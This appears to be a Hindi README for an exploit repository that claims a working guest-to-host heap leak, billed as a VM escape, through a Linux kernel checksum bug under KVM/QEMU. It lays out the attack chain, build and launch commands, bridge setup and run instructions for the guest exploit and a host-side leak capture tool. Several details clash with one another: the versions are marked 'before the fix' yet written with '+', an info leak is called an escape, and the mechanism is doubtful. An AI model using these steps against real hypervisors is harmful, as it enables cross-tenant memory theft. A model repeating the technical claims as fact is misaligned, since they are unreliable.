
CVE-2026-99999 कार्यशील PoC — Linux kernel csum_start बग के लिए वास्तविक VM escape (CVSS 9.3)। Guest-to-Host heap leak। यह भी देखें: CVE-2026-99999-analysis (शैक्षिक)।
⚠️ यह एक कार्यशील एक्सप्लॉइट रिपॉज़िटरी है। इसमें वास्तविक एक्सप्लॉइट कोड है जो लाइव KVM/QEMU वातावरण में CVE-2026-99999 कमज़ोरी को ट्रिगर करता है।
📚 उसी हमला श्रृंखला के सुरक्षित, केवल-स्थानीय सिमुलेशन के लिए, देखें CVE-2026-99999-analysis (कोई root नहीं, कोई नेटवर्क नहीं, शुद्ध Python — लैब के बिना बग को समझने के लिए बेहतरीन)।
CVE-2026-99999 — GSO सेगमेंटेशन पथ में Linux कर्नेल IPv4 csum_start सत्यापन बग। एक गेस्ट VM प्रत्येक आउटबाउंड पैकेट फ़्रैगमेंट के लिए होस्ट-कर्नेल हीप मेमोरी के लगभग 32–64 बाइट्स लीक कर सकता है।
CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
प्रभावित कर्नेल: फ़िक्स कमिट से पहले के सभी:
5.10.272+, 5.15.223+, 6.1.190+, 6.12.113+, 6.18.57+, 7.2.11+हमलावर मॉडल: KVM गेस्ट VM के अंदर अपरिविलेज्ड कोड।
.
├── README.md ← This file
├── guest/
│ ├── exploit_guest.c ← Exploit (guest side)
│ ├── Makefile
│ └── README.md
└── host/
├── receive_and_dump.py ← Leak detector (host side)
└── setup_bridge.sh ← TAP bridge setup (host side)
1. GUEST: build_crafted_packet()
└── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
↑
csum_start=0 → points at IP header, NOT transport header
2. GUEST → QEMU (vhost-user)
└── Guest enqueues packet via TX virtqueue
└── QEMU reads descriptor → pulls malicious frame
3. HOST KERNEL: GSO segmentation path
└── skb_checksum_help() reads csum_start (0) and csum_offset (0)
└── Writes checksum result to byte 0 = IHL byte
4. HOST KERNEL: IHL corruption
└── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)
5. HOST KERNEL: ip_do_fragment() OOB read
└── Reads 60 bytes of "IP header" when only 20 bytes exist
└── Bytes 20-60 are adjacent host-kernel heap memory!
6. HOST: Outbound fragment
└── Each fragment contains ~32-64 bytes of host-kernel heap memory
└── Captured by receive_and_dump.py on the host bridge
# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help
आवश्यकताएँ:
-netdev vhost-user,... के साथ प्रारंभ किया गया होmemfd या tmpfs के माध्यम से QEMU के साथ साझा किया गया गेस्ट मेमोरी# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
-m 2G -smp 2 \
-hda /path/to/guest.img \
-netdev vhost-user,id=net0,chardev=char0 \
-device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
-chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
-enable-kvm \
-nographic
# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose
# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v
आवश्यकताएँ:
CAP_NET_RAWbridge-nf-call-iptables=1 (GSO पथ के लिए)# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose
# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v
इस एक्सप्लॉइट के लिए आवश्यक है कि QEMU गेस्ट की TX virtqueue मेमोरी को पढ़ सके। साझा मेमोरी के बिना, QEMU डिस्क्रिप्टर नहीं पढ़ सकता — पैकेट एन्क्यू हो जाते हैं लेकिन कभी प्रसारित नहीं होते।
परीक्षण के लिए, इनमें से एक का उपयोग करें:
# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU
# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region
# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE
CVE ट्रिगर के लिए आवश्यक है कि होस्ट कर्नेल फ्रेम को GSO सेगमेंटेशन पथ के माध्यम से प्रोसेस करे। ऐसा तब होता है जब:
IP_MF (More Fragments) फ़्लैग सेट हो — जिससे विखंडन बाध्य होता हैएक्सप्लॉइट GSO सेगमेंटेशन सुनिश्चित करने के लिए प्रत्येक पैकेट में IP_MF सेट करता है।
होस्ट-साइड डिटेक्टर (receive_and_dump.py) CVE-2026-99999 की पहचान इस प्रकार करता है:
version_ihl & 0x0F > 5)guest/exploit_guest.c ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh ← TAP bridge setup helper script
vhost-user के साथ चल रहा है और सॉकेट मौजूद हैls -la /tmp/vhost.sock-device virtio-net-pci,netdev=net0,csum=off,host_csum=off — अक्षम नहीं, सक्षम करेंuname -rIP_MF फ़्लैग सेट हो रहा हैsudo आवश्यक हैsudo आवश्यक हैकेवल पृथक लैब वातावरण में अधिकृत सुरक्षा अनुसंधान के लिए। उन सिस्टमों के विरुद्ध अनधिकृत उपयोग जो आपके स्वामित्व में नहीं हैं या जिनका परीक्षण करने के लिए आपके पास लिखित अनुमति नहीं है, अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते।